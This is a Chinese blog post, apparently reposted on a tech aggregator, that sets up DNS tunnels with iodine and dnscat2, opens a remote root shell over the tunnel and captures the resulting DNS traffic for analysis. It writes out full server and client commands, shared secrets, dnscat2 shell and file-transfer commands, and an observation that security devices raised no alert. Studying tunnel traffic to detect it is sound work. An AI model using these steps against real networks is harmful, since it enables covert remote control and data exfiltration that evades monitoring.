主頁 >  其他 > DNS隧道流量分析

DNS隧道流量分析

2023-06-02 08:26:19 其他

1.域名準備

選擇哪家的云都沒問題,國內云需要實名,不建議使用,這里我選擇的TX云,因為之前注冊過了,自己拿來做個流量分析不成問題

域名添加決議記錄

需要準備自己的vps作為DNS隧道的服務端,且需要添加ns記錄

image-20230528201352322

2.iodined搭建

關閉53埠關閉開機自啟

systemctl stop systemd-resolved
systemctl disable systemd-resolved

image-20230528205337763

之后53埠已關閉

啟動服務端

iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD

引數說明

-f:在前臺運行
-c:禁止檢查所有傳入請求的客戶端IP地址,
-P:客戶端和服務端之間用于驗證身份的密碼,
-D:指定除錯級別,-DD指第二級,“D”的數量隨級別增加,

image-20230601094746702

客戶端

iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200

image-20230530183729412

客戶端連接正常,且服務端顯示客戶端連接成功

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

image-20230601094931839

查看客戶端網卡,因為配置的時候一直不太穩定,所以這里服務端分配的虛擬網卡我更換為了192.168.121.1

image-20230530183906334

測驗隧道是否通信

image-20230530192945164

延時比較高,也不穩定,

通過隧道連接目標主機

ssh -p 2222 [email protected]

這里我換ssh的埠了

但是發現安全設備在連接高危埠的時候無告警

3.流量分析

抓取dns0網卡的流量

tcpdump -i dns0 port 53 -w file.pcap

引數-i 指定網卡, port 指定埠,DNS使用53埠,-w 寫入檔案,

查看日志發現所有的流量都是DNS日志,但是目的都為自己的VPS

image-20230531200534755

其實能夠根據流量特征識別工具型別,

image-20230531200734215

4.試錯

本來我是想使用穿透工具通過隧道穿透的,這里使用nps做隧道走socks,想走虛擬網卡需要修改nps組態檔

./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp

查看nps上線后,需要做埠轉發,不做埠轉發無法直接使用虛擬地址的隧道,這里其實沒有這么走的意義

但是這里發現行不通,參考了一些文章,發現某位師傅寫的有點兒問題,這里大可不必,沒有所謂的套層+轉口轉發,單一走隧道都不穩定以及卡的要死,怎么玩兒套娃,

5. dnscat2搭建

安裝準備

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
curl -sSL https://get.rvm.io | bash
source /etc/profile.d/rvm.sh
rvm install 2.6.0
source /etc/profile.d/rvm.sh
rvm use 2.6.0
gem install bundler

image-20230531155240833

bundle install
ruby ./dnscat2.rb

image-20230531161141971

需要注意這里開放vps的53的udp埠

firewall-cmd --zone=public --add-port=53/udp --permanent
firewall-cmd --reload

國內服務器TX云的話需要更換源,下載檔案需要kexue上網,境內下載tools找不到服務

客戶端

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
?
./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888    //直連模式
./dnscat --dns server=ling.domain --secret=1qaz2wsx             //中繼模式
直連模式

Server:

image-20230531191458656

Client:

image-20230531191714140

中繼模式
ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache

image-20230601100430786

客戶端

./dnscat --dns domain=ling.domain --secret=1qaz2wsx   
./dnscat --dns server=www.domain --secret=1qaz2wsx   

image-20230531200007911

image-20230531175146665

服務端命令

sessions 列出所有session
session -i 2 進入session 2
shell:創建互動式shell
suspend:回傳上一層
exit:退出
clear(清屏)
delay(修改遠程會話超時時間)
exec(執行遠程機上的程式)
shell(得到一個反彈shell,此處必須在1::command(kali)中使用)
download/upload(兩端之間上傳下載檔案)
listen <本地埠> <控制端IP/127.0.0.1>:<埠>(埠轉發,此處)(此處必須在1::command(kali)中使用)
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!
?
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
?
command (ubuntu) 1> whoami
Error: Unknown command: whoami
command (ubuntu) 1> shell
Sent request to execute a shell
command (ubuntu) 1> New window created: 2
Shell session created!
whoami
Error: Unknown command: whoami
command (ubuntu) 1> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
?
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
?
To go back, type ctrl-z.
?
sh (ubuntu) 2> whoami
sh (ubuntu) 2> root

image-20230531175245612

 tcpdump -i dns0 port 53 -w file.pcap

image-20230531202910537

image-20230531203625525

流量包內的資料內容

image-20230601102558348

請求包和回包區別不大,在回傳包多了域名的資訊的TXT記錄加密傳輸資訊,可以看到DNS的查詢請求的域名資訊前的一串資料,里面就是加密過后的互動資料,

6 其它工具

跟工具關系不大,隧道的話DNS只要ip和域名沒標簽,其實走的都是udp的協議,所以在安全設備上都是流量資料,其類似的工具有dns2tcp等,但是總體來講該隧道比較慢不穩定,比較慢且傳輸不支持大流量傳輸,

更多網安技能的在線實操練習,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/554068.html

標籤:其他

上一篇:5.4 執行緒池

下一篇:返回列表

標籤雲
其他(160167) Python(38196) JavaScript(25473) Java(18173) C(15235) 區塊鏈(8268) C#(7972) AI(7469) 爪哇(7425) MySQL(7222) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5873) 数组(5741) R(5409) Linux(5344) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4580) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2434) ASP.NET(2403) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1979) 功能(1967) Web開發(1951) HtmlCss(1950) C++(1928) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1879) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • DNS隧道流量分析

    選擇哪家的云都沒問題,國內云需要實名,不建議使用,這里我選擇的TX云,因為之前注冊過了,自己拿來做個流量分析不成問題。 ......

    uj5u.com 2023-06-02 08:26:19 more
  • 5.4 執行緒池

    執行緒池是一種管理執行緒的資源,它可以在系統中創建、重用和銷毀執行緒。執行緒池的主要優點是減少了創建和銷毀執行緒的開銷,提高了系統的性能。 Java中的執行緒池由`java.util.concurrent.ExecutorService`介面和它的實作類表示。`ExecutorService`提供了一些用于管理 ......

    uj5u.com 2023-06-02 08:25:31 more
  • 六一新玩法!AI涂鴉秒變精美藝識訓

    摘要:上華為云ModelArts體驗AI涂鴉新玩法,贏漫威復仇者聯盟樂高!祝大小朋友們六一兒童節快樂~ 本文分享自華為云社區《【云享熱點】六一新玩法!AI 涂鴉秒變精美藝識訓》,作者:華為云社區精選 。 又是一年兒童節,記得小時候的涂涂畫畫嗎 現在有了 AI 這只 “魔法棒”,它們變成了這樣 登錄華 ......

    uj5u.com 2023-06-01 13:59:38 more
  • 青語言開源發布

    ### 青語言發布 6月1日,在這個充滿歡聲笑語的日子里,數心開物作業室開源發布了一門面向青少年、兒童和非專業人士的中文編程語言——青語言。 #### 青語言主頁:https://qingyuyan.cn #### 青語言檔案:https://doc.qingyuyan.cn #### 青語言社區: ......

    uj5u.com 2023-06-01 13:40:17 more
  • NS模擬器管理哪家強?就來Ns Emu Tools

    # 前言 最近 **塞爾達傳說:王國之淚 ?**非常火爆,但是不少的小伙伴找到了ROM,但是在NS的模擬的尋找上遇到了問題。所以,我出手了。通過 Ns Emu Tools 這款軟體,我們可以非常方便的安裝和管理 NS 模擬器。 ## 什么是NS模擬器 NS模擬器是一種可以模擬任天堂 Switch 游 ......

    uj5u.com 2023-06-01 13:21:54 more
  • 攻防世界_PWN_stack2

    **本文通過結合其他師傅的思路以及自己的一些理解完成。希望在記錄自己所學知識的同時能夠幫助有同樣疑惑的人。pwn入門新手一個,如果有說錯的地方請師傅們多多包涵** ## 0x00 前置知識 本題關鍵匯編指令:mov指令和lea指令以及ret指令 **mov** > mov指令的功能是傳送資料,它可以 ......

    uj5u.com 2023-06-01 13:02:17 more
  • NS模擬器管理哪家強?就來Ns Emu Tools

    # 前言 最近 **塞爾達傳說:王國之淚 ?**非常火爆,但是不少的小伙伴找到了ROM,但是在NS的模擬的尋找上遇到了問題。所以,我出手了。通過 Ns Emu Tools 這款軟體,我們可以非常方便的安裝和管理 NS 模擬器。 ## 什么是NS模擬器 NS模擬器是一種可以模擬任天堂 Switch 游 ......

    uj5u.com 2023-06-01 12:22:01 more
  • 青語言開源發布

    ### 青語言發布 6月1日,在這個充滿歡聲笑語的日子里,數心開物作業室開源發布了一門面向青少年、兒童和非專業人士的中文編程語言——青語言。 #### 青語言主頁:https://qingyuyan.cn #### 青語言檔案:https://doc.qingyuyan.cn #### 青語言社區: ......

    uj5u.com 2023-06-01 12:14:37 more
  • 攻防世界_PWN_stack2

    **本文通過結合其他師傅的思路以及自己的一些理解完成。希望在記錄自己所學知識的同時能夠幫助有同樣疑惑的人。pwn入門新手一個,如果有說錯的地方請師傅們多多包涵** ## 0x00 前置知識 本題關鍵匯編指令:mov指令和lea指令以及ret指令 **mov** > mov指令的功能是傳送資料,它可以 ......

    uj5u.com 2023-06-01 11:59:39 more
  • 1.1. Java簡介與安裝

    **Java簡介** Java是一種廣泛使用的計算機編程語言,由James Gosling和他的團隊在Sun Microsystems公司開發,于1995年首次發布。Java的設計理念是“一次撰寫,到處運行”,這意味著Java應用程式可以在任何支持Java運行時環境(JRE)的設備上運行,而無需重新 ......

    uj5u.com 2023-06-01 11:34:43 more